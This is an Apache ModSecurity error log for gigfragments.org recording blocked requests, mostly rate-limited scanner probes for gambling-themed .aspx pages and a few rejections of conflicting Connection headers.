[Fri Apr 03 05:46:11.630540 2026] [:error] [pid 22778:tid 22799] [client 145.239.65.133:54888] [client 145.239.65.133] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/demon%20slot%20game.aspx"] [unique_id "ac7jo_S-q9hkdFqUjq-CZgAAAM4"]
[Fri Apr 03 05:46:13.453547 2026] [:error] [pid 22673:tid 22761] [client 145.239.65.133:54898] [client 145.239.65.133] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/dg%20casino.aspx"] [unique_id "ac7jpe-GlVDWdWxxwJCKBQAAAI8"]
[Fri Apr 03 05:46:15.391375 2026] [:error] [pid 22778:tid 22808] [client 145.239.65.133:53950] [client 145.239.65.133] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/g2g%20slot.aspx"] [unique_id "ac7jp_S-q9hkdFqUjq-CcwAAANc"]
[Fri Apr 03 05:46:17.207391 2026] [:error] [pid 22673:tid 22761] [client 145.239.65.133:53960] [client 145.239.65.133] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/galaxy%20auto%20slot.aspx"] [unique_id "ac7jqe-GlVDWdWxxwJCKFwAAAI8"]
[Fri Apr 03 05:46:19.026070 2026] [:error] [pid 58590:tid 58597] [client 145.239.65.133:53976] [client 145.239.65.133] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/galaxy%20bet%20slot.aspx"] [unique_id "ac7jq0ze_aEPDM9xEE3DLAAAAQU"]
[Fri Apr 03 05:46:20.969649 2026] [:error] [pid 22672:tid 22733] [client 145.239.65.133:53990] [client 145.239.65.133] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/galaxy%20slot.aspx"] [unique_id "ac7jrKzrgXkFSOK0fvqJhAAAAE4"]
[Fri Apr 03 05:46:23.072586 2026] [:error] [pid 22672:tid 22732] [client 145.239.65.133:53994] [client 145.239.65.133] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/h25%20com.aspx"] [unique_id "ac7jr6zrgXkFSOK0fvqJhwAAAE0"]
[Fri Apr 03 05:46:24.904827 2026] [:error] [pid 22672:tid 22737] [client 145.239.65.133:54000] [client 145.239.65.133] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/jili%20slot.aspx"] [unique_id "ac7jsKzrgXkFSOK0fvqJjgAAAFI"]
[Fri Apr 03 05:46:26.863329 2026] [:error] [pid 22672:tid 22733] [client 145.239.65.133:60608] [client 145.239.65.133] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/joker%20slot.aspx"] [unique_id "ac7jsqzrgXkFSOK0fvqJkwAAAE4"]
[Fri Apr 03 05:46:28.831797 2026] [:error] [pid 22673:tid 22757] [client 145.239.65.133:60618] [client 145.239.65.133] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/joker%20vip.aspx"] [unique_id "ac7jtO-GlVDWdWxxwJCKOwAAAIs"]
[Fri Apr 03 05:46:30.675918 2026] [:error] [pid 22672:tid 22728] [client 145.239.65.133:60624] [client 145.239.65.133] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/kingkong%20joker.aspx"] [unique_id "ac7jtqzrgXkFSOK0fvqJnAAAAEk"]
[Fri Apr 03 05:46:32.579299 2026] [:error] [pid 58590:tid 58595] [client 145.239.65.133:60628] [client 145.239.65.133] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lava%20slot.aspx"] [unique_id "ac7juEze_aEPDM9xEE3DVAAAAQM"]
[Fri Apr 03 05:46:34.382541 2026] [:error] [pid 22672:tid 22719] [client 145.239.65.133:60644] [client 145.239.65.133] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/mega%20slot.aspx"] [unique_id "ac7juqzrgXkFSOK0fvqJpQAAAEA"]
[Fri Apr 03 05:46:36.311828 2026] [:error] [pid 58590:tid 58596] [client 145.239.65.133:50014] [client 145.239.65.133] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/metal%20slot.aspx"] [unique_id "ac7jvEze_aEPDM9xEE3DZQAAAQQ"]
[Fri Apr 03 10:33:24.789468 2026] [:error] [pid 40562:tid 40569] [client 170.106.113.159:57172] [client 170.106.113.159] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "ac8m9DfFMXuP9zvqCerGfAAAAYQ"]
[Fri Apr 03 11:14:45.818619 2026] [:error] [pid 40562:tid 40579] [client 182.40.104.255:45940] [client 182.40.104.255] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "ac8wpTfFMXuP9zvqCerSLwAAAY4"]
[Fri Apr 03 11:37:09.220853 2026] [:error] [pid 40562:tid 40580] [client 147.135.213.38:34972] [client 147.135.213.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20vip.aspx"] [unique_id "ac815TfFMXuP9zvqCerW0QAAAY8"]
[Fri Apr 03 11:37:10.998614 2026] [:error] [pid 33445:tid 33454] [client 147.135.213.38:57868] [client 147.135.213.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20wallet.aspx"] [unique_id "ac815llRNZ0iDVmJWM3NZAAAAAQ"]
[Fri Apr 03 11:37:13.006378 2026] [:error] [pid 33445:tid 33459] [client 147.135.213.38:57884] [client 147.135.213.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot.aspx"] [unique_id "ac816VlRNZ0iDVmJWM3NbwAAAAk"]
[Fri Apr 03 11:37:15.011945 2026] [:error] [pid 55174:tid 55195] [client 147.135.213.38:57886] [client 147.135.213.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot168.aspx"] [unique_id "ac8165_WKqUonPNUHYxn1wAAAdM"]
[Fri Apr 03 11:37:17.018527 2026] [:error] [pid 33542:tid 33566] [client 147.135.213.38:57900] [client 147.135.213.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot99.aspx"] [unique_id "ac817Xwb6uB1LaGtepaVcAAAANU"]
[Fri Apr 03 11:37:19.038724 2026] [:error] [pid 33445:tid 33451] [client 147.135.213.38:39106] [client 147.135.213.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20soft.aspx"] [unique_id "ac8171lRNZ0iDVmJWM3NfwAAAAE"]
[Fri Apr 03 11:37:21.026490 2026] [:error] [pid 33446:tid 33497] [client 147.135.213.38:39120] [client 147.135.213.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20th.aspx"] [unique_id "ac818dg3dCqFYIIdw0pk9AAAAFQ"]
[Fri Apr 03 11:37:22.890085 2026] [:error] [pid 33445:tid 33456] [client 147.135.213.38:39122] [client 147.135.213.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20thailand.aspx"] [unique_id "ac818llRNZ0iDVmJWM3NiAAAAAY"]
[Fri Apr 03 11:37:24.891555 2026] [:error] [pid 40533:tid 40536] [client 147.135.213.38:39128] [client 147.135.213.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20wallet.aspx"] [unique_id "ac819PbIAA8AViDmwstUeQAAAUE"]
[Fri Apr 03 11:37:26.926916 2026] [:error] [pid 33446:tid 33501] [client 147.135.213.38:39142] [client 147.135.213.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20world.aspx"] [unique_id "ac819tg3dCqFYIIdw0plCgAAAFg"]
[Fri Apr 03 11:37:28.931071 2026] [:error] [pid 35469:tid 35486] [client 147.135.213.38:45320] [client 147.135.213.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pgslot%20login.aspx"] [unique_id "ac81-KGvTIc8-wY3jURgHAAAAQ8"]
[Fri Apr 03 11:37:30.944642 2026] [:error] [pid 40533:tid 40552] [client 147.135.213.38:45336] [client 147.135.213.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pgzeed%20gold.aspx"] [unique_id "ac81-vbIAA8AViDmwstUfAAAAVE"]
[Fri Apr 03 11:37:32.954121 2026] [:error] [pid 33542:tid 33562] [client 147.135.213.38:45342] [client 147.135.213.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pp%20slot.aspx"] [unique_id "ac81_Hwb6uB1LaGtepaVeAAAANE"]
[Fri Apr 03 11:37:34.949112 2026] [:error] [pid 33542:tid 33560] [client 147.135.213.38:45356] [client 147.135.213.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/riches666%20pg.aspx"] [unique_id "ac81_nwb6uB1LaGtepaVegAAAM8"]
[Fri Apr 03 11:37:36.815104 2026] [:error] [pid 35469:tid 35494] [client 147.135.213.38:45366] [client 147.135.213.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/riches777%20pg.aspx"] [unique_id "ac82AKGvTIc8-wY3jURgNgAAARc"]
[Fri Apr 03 11:37:38.815060 2026] [:error] [pid 35469:tid 35493] [client 147.135.213.38:59182] [client 147.135.213.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/riches888%20pg.aspx"] [unique_id "ac82AqGvTIc8-wY3jURgPwAAARY"]
[Fri Apr 03 11:37:40.826503 2026] [:error] [pid 40562:tid 40582] [client 147.135.213.38:59198] [client 147.135.213.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/royal%20slot.aspx"] [unique_id "ac82BDfFMXuP9zvqCerW2gAAAZE"]
[Fri Apr 03 11:37:42.830808 2026] [:error] [pid 33446:tid 33479] [client 147.135.213.38:59210] [client 147.135.213.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sa%20casino.aspx"] [unique_id "ac82Btg3dCqFYIIdw0plIwAAAEI"]
[Fri Apr 03 11:37:44.832296 2026] [:error] [pid 33542:tid 33558] [client 147.135.213.38:59218] [client 147.135.213.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sbobet%20auto.aspx"] [unique_id "ac82CHwb6uB1LaGtepaVgAAAAM0"]
[Fri Apr 03 11:37:46.852981 2026] [:error] [pid 33445:tid 33458] [client 147.135.213.38:59222] [client 147.135.213.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sbobet%20ca.aspx"] [unique_id "ac82CllRNZ0iDVmJWM3NwQAAAAg"]
[Fri Apr 03 11:37:48.849731 2026] [:error] [pid 33542:tid 33553] [client 147.135.213.38:57374] [client 147.135.213.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20777.aspx"] [unique_id "ac82DHwb6uB1LaGtepaVggAAAMg"]
[Fri Apr 03 11:37:50.859774 2026] [:error] [pid 33445:tid 33467] [client 147.135.213.38:57386] [client 147.135.213.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20888.aspx"] [unique_id "ac82DllRNZ0iDVmJWM3NyAAAABE"]
[Fri Apr 03 11:37:52.862705 2026] [:error] [pid 40533:tid 40539] [client 147.135.213.38:57394] [client 147.135.213.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%2099.aspx"] [unique_id "ac82EPbIAA8AViDmwstUnAAAAUQ"]
[Fri Apr 03 11:37:54.873429 2026] [:error] [pid 33446:tid 33478] [client 147.135.213.38:57400] [client 147.135.213.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20auto.aspx"] [unique_id "ac82Etg3dCqFYIIdw0plOwAAAEE"]
[Fri Apr 03 11:37:56.720517 2026] [:error] [pid 35469:tid 35488] [client 147.135.213.38:57402] [client 147.135.213.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20demo.aspx"] [unique_id "ac82FKGvTIc8-wY3jURgbAAAARE"]
[Fri Apr 03 11:37:58.734537 2026] [:error] [pid 55174:tid 55182] [client 147.135.213.38:35000] [client 147.135.213.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20free.aspx"] [unique_id "ac82Fp_WKqUonPNUHYxoAAAAAcY"]
[Fri Apr 03 11:38:00.751998 2026] [:error] [pid 33542:tid 33547] [client 147.135.213.38:35006] [client 147.135.213.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20game%20666.aspx"] [unique_id "ac82GHwb6uB1LaGtepaVngAAAMI"]
[Fri Apr 03 11:38:02.743380 2026] [:error] [pid 33446:tid 33488] [client 147.135.213.38:35014] [client 147.135.213.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20joker.aspx"] [unique_id "ac82Gtg3dCqFYIIdw0plQQAAAEs"]
[Fri Apr 03 11:38:04.734974 2026] [:error] [pid 40533:tid 40557] [client 147.135.213.38:35016] [client 147.135.213.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20online.aspx"] [unique_id "ac82HPbIAA8AViDmwstUqQAAAVY"]
[Fri Apr 03 11:38:39.283532 2026] [:error] [pid 35469:tid 35495] [client 147.135.213.38:35026] [client 147.135.213.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/spx%20slot.aspx"] [unique_id "ac82P6GvTIc8-wY3jURgsgAAARg"]
[Fri Apr 03 11:38:41.221899 2026] [:error] [pid 55174:tid 55188] [client 147.135.213.38:56968] [client 147.135.213.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/super%20pg%201688.aspx"] [unique_id "ac82QZ_WKqUonPNUHYxoJwAAAcw"]
[Fri Apr 03 11:38:43.223359 2026] [:error] [pid 35469:tid 35492] [client 147.135.213.38:56980] [client 147.135.213.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/super%20slot.aspx"] [unique_id "ac82Q6GvTIc8-wY3jURgugAAARU"]
[Fri Apr 03 11:38:45.211830 2026] [:error] [pid 40562:tid 40573] [client 147.135.213.38:56994] [client 147.135.213.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20max%20wallet.aspx"] [unique_id "ac82RTfFMXuP9zvqCerXGQAAAYg"]
[Fri Apr 03 11:38:47.215375 2026] [:error] [pid 33446:tid 33500] [client 147.135.213.38:39346] [client 147.135.213.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20vip.aspx"] [unique_id "ac82R9g3dCqFYIIdw0pliwAAAFc"]
[Fri Apr 03 11:38:49.204567 2026] [:error] [pid 33445:tid 33458] [client 147.135.213.38:39348] [client 147.135.213.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20wallet%20net.aspx"] [unique_id "ac82SVlRNZ0iDVmJWM3OIQAAAAg"]
[Fri Apr 03 11:38:51.191719 2026] [:error] [pid 35469:tid 35495] [client 147.135.213.38:39360] [client 147.135.213.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20wallet.aspx"] [unique_id "ac82S6GvTIc8-wY3jURgzgAAARg"]
[Fri Apr 03 11:38:53.187918 2026] [:error] [pid 35469:tid 35487] [client 147.135.213.38:39364] [client 147.135.213.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot168%20wallet.aspx"] [unique_id "ac82TaGvTIc8-wY3jURg0gAAARA"]
[Fri Apr 03 11:38:55.181631 2026] [:error] [pid 40533:tid 40542] [client 147.135.213.38:39376] [client 147.135.213.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20168.aspx"] [unique_id "ac82T_bIAA8AViDmwstUuAAAAUc"]
[Fri Apr 03 11:38:57.170147 2026] [:error] [pid 33446:tid 33492] [client 147.135.213.38:37694] [client 147.135.213.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20c4.aspx"] [unique_id "ac82Udg3dCqFYIIdw0plkAAAAE8"]
